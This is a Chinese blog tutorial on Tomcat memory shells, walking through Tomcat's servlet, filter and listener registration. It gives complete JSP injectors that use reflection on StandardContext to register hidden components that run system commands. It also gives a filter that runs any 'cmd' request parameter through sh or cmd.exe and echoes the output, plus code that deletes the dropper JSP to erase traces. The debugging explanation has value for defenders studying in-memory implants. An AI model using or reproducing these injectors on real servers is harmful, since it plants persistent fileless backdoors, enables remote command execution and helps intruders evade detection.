本文最后更新于:1 个月前
Servlet类型
一个servlet在使用的时候如何编写呢?
先来看一下一个基础JavaWeb格式如何,webapp下放置jsp文件,直接访问即可,而java目录下则放置servlet类文件

通过注解的方式
@WebServlet(name = "helloServlet", value = "/hello-servlet")
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| package org.example.memshell;
import java.io.*; import javax.servlet.http.*; import javax.servlet.annotation.*;
@WebServlet(name = "helloServlet", value = "/hello-servlet") public class HelloServlet extends HttpServlet { private String message;
public void init() { message = "Hello World!"; }
public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException { response.setContentType("text/html");
PrintWriter out = response.getWriter(); out.println("<html><body>"); out.println("<h1>" + message + "</h1>"); out.println("</body></html>"); }
public void destroy() { } }
|
或者在web.xml中建立servlet的映射关系
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?xml version="1.0" encoding="UTF-8"?> <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0">
<servlet> <servlet-name>hello</servlet-name> <servlet-class>org.example.memshell.HelloServlet</servlet-class> </servlet> <servlet-mapping> <servlet-name>hello</servlet-name> <url-pattern>/hello</url-pattern> </servlet-mapping> </web-app>
|
这个过程tomcat是如何通过配置文件将servlet注册进tomcat的?
网上许多文章对tomcat初始化的过程做了梳理了这里不再赘述
StandardContext类型的context变量存储着web应用的配置管理以及路径映射信息
https://blog.csdn.net/u010883443/article/details/107463782
在org.apache.catalina.startup.ContextConfig
中有这么个方法configureContext()用于解析web.xml并将解析结果注册进服务端

对configureContext()源码进行阅读的过程中能看到许多的细节
在解析web.xml并将结果封装在webxml变量中,能注意到servlet属性下已经存入了我们配置在web.xml中的servlrt信息

读取web.xml配置后从中够获取错误页添加进上下文

添加filter等等等等

这一小节讲的是servlet类型的内存马,因此我们到下方添加servlet的部分,
是上面webxml变量中存放的几个servlet进行遍历,并封装到wrapper中的过程

快进到遍历到我们自己定义的servlet的轮

封装好之后再将局部变量wrapper存入context中

配置完servlet选项之后,继续配置servlet-mapping映射关系

先在jsp中定义好一个servlet的类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <%@ page import="java.io.IOException" %> <%@ page import="java.io.PrintWriter" %><%! public class ShellServlet extends HttpServlet { private String message;
public void init() { message = "Hello World!"; }
public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException { Runtime.getRuntime().exec("calc"); PrintWriter out = response.getWriter(); out.println("attack!"); }
public void destroy() { } } %>
|
所有servlet相关的信息都存在了context变量中,动态注册servlet的第一步便是获取到这个context
通过request对象的getServletContext()会返回一个ServletContext对象
1
| ServletContext servletContext = request.getServletContext();
|
这个servletContext对象的context属性下的context属性,即存放着我们需要的StandardContext对象

调用反射获取context
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| <% ServletContext servletContext = request.getServletContext();
try { Field contextField = servletContext.getClass().getDeclaredField("context"); Field standardContextField = ApplicationContext.class.getDeclaredField("context"); contextField.setAccessible(true); standardContextField.setAccessible(true); try { ApplicationContext applicationContext = (ApplicationContext) contextField.get(servletContext); StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext); System.out.println(standardContext); } catch (IllegalAccessException e) { throw new RuntimeException(e); }
} catch (NoSuchFieldException e) { throw new RuntimeException(e); }
%>
|
回到ContextConfig,我们重新梳理一下注册servlet的步骤
首先获取一个Wrapper
1
| Wrapper wrapper = context.createWrapper();
|
初始化调试的时候这两部分进不去,因此不管

下一步是
1
| wrapper.setName(servlet.getServletName());
|
接下来设置全类名
1
| wrapper.setServletClass(servlet.getServletClass());
|
然后
1
| context.addChild(wrapper);
|
最后一步
1
| context.addServletMappingDecoded(entry.getKey(), entry.getValue());
|
于是写下马子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| <%@ page import="java.io.IOException" %> <%@ page import="java.io.PrintWriter" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="org.apache.catalina.Wrapper" %> <%! public class MemServlet extends HttpServlet { private String message;
public void init() { message = "Hello World!"; }
public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException { Runtime.getRuntime().exec("calc"); PrintWriter out = response.getWriter(); out.println("attack!"); }
public void destroy() { } } %> <% ServletContext servletContext = request.getServletContext();
try { Field contextField = servletContext.getClass().getDeclaredField("context"); Field standardContextField = ApplicationContext.class.getDeclaredField("context"); contextField.setAccessible(true); standardContextField.setAccessible(true); try { ApplicationContext applicationContext = (ApplicationContext) contextField.get(servletContext); StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
Wrapper wrapper = standardContext.createWrapper(); wrapper.setName("MemServlet"); wrapper.setServletClass(MemServlet.class.getName());
standardContext.addChild(wrapper); standardContext.addServletMappingDecoded("/memshell", "MemServlet");
} catch (IllegalAccessException e) { throw new RuntimeException(e); }
} catch (NoSuchFieldException e) { throw new RuntimeException(e); }
%>
|
但是这时候访问shell.jsp后再访问memshell却是404
到此为止思考一下还欠缺什么,实际上就是servlet类的实例,正常的情况下,每次发起一个请求都对对应的Servlet进行一次的实例化,但是我们自己定义的类,如果通过这种动态注册的方式则无法加载进内存中,无法实例化servlet导致失效
只需要加一句wrapper.setServlet(new MemServlet());
即可

成功

Filter类型
有做过java web开发的朋友应该对filter这个东西比较熟悉
什么是filter,实际上就是在请求传递到servlet容器后,在请求web资源之前对请求本身进行一些拦截操作,可以过滤一些敏感词、或者是修改参数等等都可以,总之就是个中间人的角色
这是一个Filter接口,拦截过程中主要方法是doFilter(),方法传入request和response作为参数,这个过程可以对请求和响应做任何事情
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| package javax.servlet;
import java.io.IOException;
public interface Filter {
default public void init(FilterConfig filterConfig) throws ServletException {} public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException;
default public void destroy() {} }
|
web.xml中对应的核心配置:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <filter> <filter-name>HelloFilter</filter-name> <filter-class>org.example.memshell.HelloFilter</filter-class> <init-param> <param-name>key</param-name> <param-value>value</param-value> </init-param> </filter> <filter-mapping> <filter-name>HelloFilter</filter-name> <url-pattern>/hello/*</url-pattern> </filter-mapping>
|
上述配置中的<init-param>
可在init()的FilterConfig通过调用getInitParameter()来获取
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| package org.example.memshell;
import javax.servlet.*; import java.io.IOException;
public class HelloFilter implements Filter { @Override public void init(FilterConfig filterConfig) throws ServletException { System.out.println(filterConfig.getInitParameter("key")); Filter.super.init(filterConfig); }
@Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { System.out.println("Filter Called"); } }
|
当访问

观察到控制台输出:

回到我们上面提到的ContextConfig中添加filter的逻辑,整体逻辑与servlet的一致,都是先添加filter再添加路径映射

此处初始化时,FilterDef对象中的filter属性是null,和servlet相似的思考,我们如何在动态添加filter的时候实例化这个HelloFilter呢?
翻阅FilterDef的代码时,就看到了这么个方法,给自己的filter属性赋值

我们就先跟着自己的感觉走,写一下内存马
创建映射的过程,这个filterMap对象中封装的属性并不复杂,主要就是一个url的正则匹配,以及对应filter名

于是有如下代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| <%@ page import="java.io.IOException" %> <%@ page import="java.io.PrintWriter" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="org.apache.catalina.Wrapper" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %> <%! public class MemFilter implements Filter { @Override public void init(FilterConfig filterConfig) throws ServletException { System.out.println(filterConfig.getInitParameter("key")); Filter.super.init(filterConfig); }
@Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { Runtime.getRuntime().exec("calc"); System.out.println("Filter Called"); } }
%> <% ServletContext servletContext = request.getServletContext();
try { Field contextField = servletContext.getClass().getDeclaredField("context"); Field standardContextField = ApplicationContext.class.getDeclaredField("context"); contextField.setAccessible(true);
standardContextField.setAccessible(true); try { ApplicationContext applicationContext = (ApplicationContext) contextField.get(servletContext); StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
FilterDef filter = new FilterDef(); filter.setFilter(new MemFilter()); filter.setFilterClass(MemFilter.class.getName()); filter.setFilterName("MemFilter");
FilterMap filterMap = new FilterMap(); filterMap.setFilterName("MemFilter"); filterMap.addURLPattern("/mem/*");
standardContext.addFilterDef(filter); standardContext.addFilterMap(filterMap);
} catch (IllegalAccessException e) { throw new RuntimeException(e); }
} catch (NoSuchFieldException e) { throw new RuntimeException(e); }
%>
|
但是访问shell.jsp之后,再访问/mem/aasas并没有出现预期的计算器弹出,而是404

既然如此,那我还是看看一个正常的Filter被调用的流程是什么样的,断点打在HelloFilter的doFilter()方法上

复制一下调用栈方便后面写文章复制粘贴用)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| doFilter:15, HelloFilter (org.example.memshell) internalDoFilter:168, ApplicationFilterChain (org.apache.catalina.core) doFilter:144, ApplicationFilterChain (org.apache.catalina.core) invoke:168, StandardWrapperValve (org.apache.catalina.core) invoke:90, StandardContextValve (org.apache.catalina.core) invoke:482, AuthenticatorBase (org.apache.catalina.authenticator) invoke:130, StandardHostValve (org.apache.catalina.core) invoke:93, ErrorReportValve (org.apache.catalina.valves) invoke:660, AbstractAccessLogValve (org.apache.catalina.valves) invoke:74, StandardEngineValve (org.apache.catalina.core) service:346, CoyoteAdapter (org.apache.catalina.connector) service:388, Http11Processor (org.apache.coyote.http11) process:63, AbstractProcessorLight (org.apache.coyote) process:936, AbstractProtocol$ConnectionHandler (org.apache.coyote) doRun:1791, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net) run:52, SocketProcessorBase (org.apache.tomcat.util.net) runWorker:1190, ThreadPoolExecutor (org.apache.tomcat.util.threads) run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads) run:63, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads) run:750, Thread (java.lang)
|
往回一帧,很容追踪到我们需要的filter是从filterConfig中获取的
这个filterConfig则是通过filters数组属性获取的,而pos经过++操作之后变为1,因此实际上是获取filters数组的第一个元素
filters属性怎么来?我们继续往回一帧看看

这一帧没有什么关于Filter值得我们关注的,留意此时的filters仍然在当前对象中,也就是ApplicationFilterConfig,再往前

filterChain调用了doFilter()
定位住它,那就往上看这个filterChain怎么来的

由静态方法获取!
这样一来我们只需要关注静态方法传入的参数是怎么来的就行了,节省了很多的功夫
request自然不必多说,我们往回看看wrapper和servlet是怎么来的

wrapper是一个StandardWrapper类型

在 Tomcat 运行过程中,StandardWrapper
是 Tomcat 内部用来管理 单个 Servlet 的组件,StandardWrapper可以通过StandardContext来获取
我们注意到StandardContext的children属性,里面封装了所有的Wrapper容器,而这里我们的wrapper正是这个defaultWrapper

StandardWrapper通过getParent()来获取StandardContext,而StandardContext则通过findChild()来获取StandardWrapper

继续往下走,来到了这里能够步入进去

稍微跟了一下,最终返回的是StandardWrapper的instance属性

至此,似乎条件已经全了,StandardWrapper可以通过StandardContext来获取,再通过反射注入需要的属性即可
我们再回头跟进那个ApplicationFilterFactory.createFilterChain()
看看
从StandardContext中获取filterMaps

通过我们上面的“失败作”,我们已经成功往filterMaps中注入了/mem/*
这个路径匹配

随后对访问的路径进行获取,再和filter映射中的路径去匹配

验证都匹配之后(访问路径存在于filter中),随之根据名称获取对应的filterConfigs
再添加到chain中

因此这里的filterConfigs也是我们需要控制的地方

至此我很快发现了上面失败作的缺陷,我并没有在filterConfig中去新插入一个导致没匹配到,于是就找不到对应的Filter去执行对应的doFilter()
并且只需要对这一处地方进行修改即可
于是写下马子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72
| <%@ page import="java.io.IOException" %> <%@ page import="java.io.PrintWriter" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="org.apache.catalina.Wrapper" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %> <%@ page import="org.apache.catalina.core.StandardWrapper" %> <%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %> <%@ page import="java.lang.reflect.Method" %> <%@ page import="java.lang.reflect.Constructor" %> <%@ page import="org.apache.catalina.Context" %> <%@ page import="java.util.Map" %> <%! public class MemFilter implements Filter { @Override public void init(FilterConfig filterConfig) throws ServletException { System.out.println(filterConfig.getInitParameter("key")); Filter.super.init(filterConfig); }
@Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { Runtime.getRuntime().exec("calc"); System.out.println("Filter Called"); } }
%> <% ServletContext servletContext = request.getServletContext();
try { Field contextField = servletContext.getClass().getDeclaredField("context"); Field standardContextField = ApplicationContext.class.getDeclaredField("context"); contextField.setAccessible(true);
standardContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) contextField.get(servletContext); StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
FilterDef filterDef = new FilterDef(); filterDef.setFilter(new MemFilter()); filterDef.setFilterClass(MemFilter.class.getName()); filterDef.setFilterName("MemFilter");
FilterMap filterMap = new FilterMap(); filterMap.setFilterName("MemFilter"); filterMap.addURLPattern("/mem/*");
standardContext.addFilterDef(filterDef); standardContext.addFilterMap(filterMap);
Class<?> applicationFilterConfigClass = ApplicationFilterConfig.class; Constructor<?> constructor = applicationFilterConfigClass.getDeclaredConstructor(Context.class, FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
Field filterConfigsField = StandardContext.class.getDeclaredField("filterConfigs"); filterConfigsField.setAccessible(true); Map<String,ApplicationFilterConfig> map = (Map<String,ApplicationFilterConfig>) filterConfigsField.get(standardContext); map.put("MemFilter",applicationFilterConfig);
} catch (Exception e) { throw new RuntimeException(e); }
%>
|
大功告成!!!

Listener类型
Listener是用于监听特定事件发生时执行相应操作的组件
configureContext()中对Listener的配置仅仅下方三行

写一个正常的Listener来看看调用流程
在Tomcat中,Linstener接口主要有以下几种:
很显然,我们最适合用来作为内存马的是ServletRequestListener这个Linstener,每当我们发起一个http请求的时候就触发

写一个类来实现这个接口
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| package org.example.memshell;
import javax.servlet.ServletRequestEvent; import javax.servlet.ServletRequestListener;
public class HelloListener implements ServletRequestListener { @Override public void requestInitialized(ServletRequestEvent sre) { System.out.println("[Listener] create: " + sre.getServletRequest()); }
@Override public void requestDestroyed(ServletRequestEvent sre) { System.out.println("[Listener] destroy: " + sre.getServletRequest()); }
}
|
在web.xml中配置Listener
1 2 3
| <listener> <listener-class>org.example.memshell.HelloListener</listener-class> </listener>
|
随便访问一个路径

依旧是在requestInitialized()处打个断点,往回一帧看,这个listener是通过StandardContext.getApplicationEventListeners()
来获取的

进getApplicationEventListeners()看一眼,显然listener与StandardContext.applicationEventListenersList这个属性息息相关

直接注入即可,随后任何一次访问任何的路径都会触发Listener
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| <%@ page import="java.io.IOException" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="java.util.List" %> <%! public class MemListener implements ServletRequestListener { @Override public void requestInitialized(ServletRequestEvent sre) { try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { throw new RuntimeException(e); } System.out.println("[Listener] create: " + sre.getServletRequest()); }
@Override public void requestDestroyed(ServletRequestEvent sre) { System.out.println("[Listener] destroy: " + sre.getServletRequest()); }
} %> <% ServletContext servletContext = request.getServletContext();
try { Field contextField = servletContext.getClass().getDeclaredField("context"); Field standardContextField = ApplicationContext.class.getDeclaredField("context"); contextField.setAccessible(true);
standardContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) contextField.get(servletContext); StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
Field applicationListenerListField = StandardContext.class.getDeclaredField("applicationEventListenersList"); applicationListenerListField.setAccessible(true); List<Object> listenerList = (List<Object>) applicationListenerListField.get(standardContext); listenerList.add(new MemListener());
} catch (Exception e) { throw new RuntimeException(e); }
%>
|
回显
收个尾,水水字数(bushi
主要是实际运用中主要是为了对抗不出网这种情况,那命令执行总得有个结果让我们直观看到
去网上找了一份代码直接cv下关键部分组装到自己的函数中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { String cmd = request.getParameter("cmd"); boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\a"); String output = s.hasNext() ? s.next() : ""; PrintWriter out = response.getWriter(); out.println(output); out.flush(); out.close(); }
|

自毁装置
既然已经注入内存了,那就删了不留痕迹~
1 2 3 4 5 6 7 8 9 10 11 12
| String filePath = application.getRealPath(request.getServletPath()); File file = new File(filePath);
if (file.exists()) { if (file.delete()) { out.println("JSP 文件删除成功!"); } else { out.println("JSP 文件删除失败!"); } } else { out.println("文件不存在!"); }
|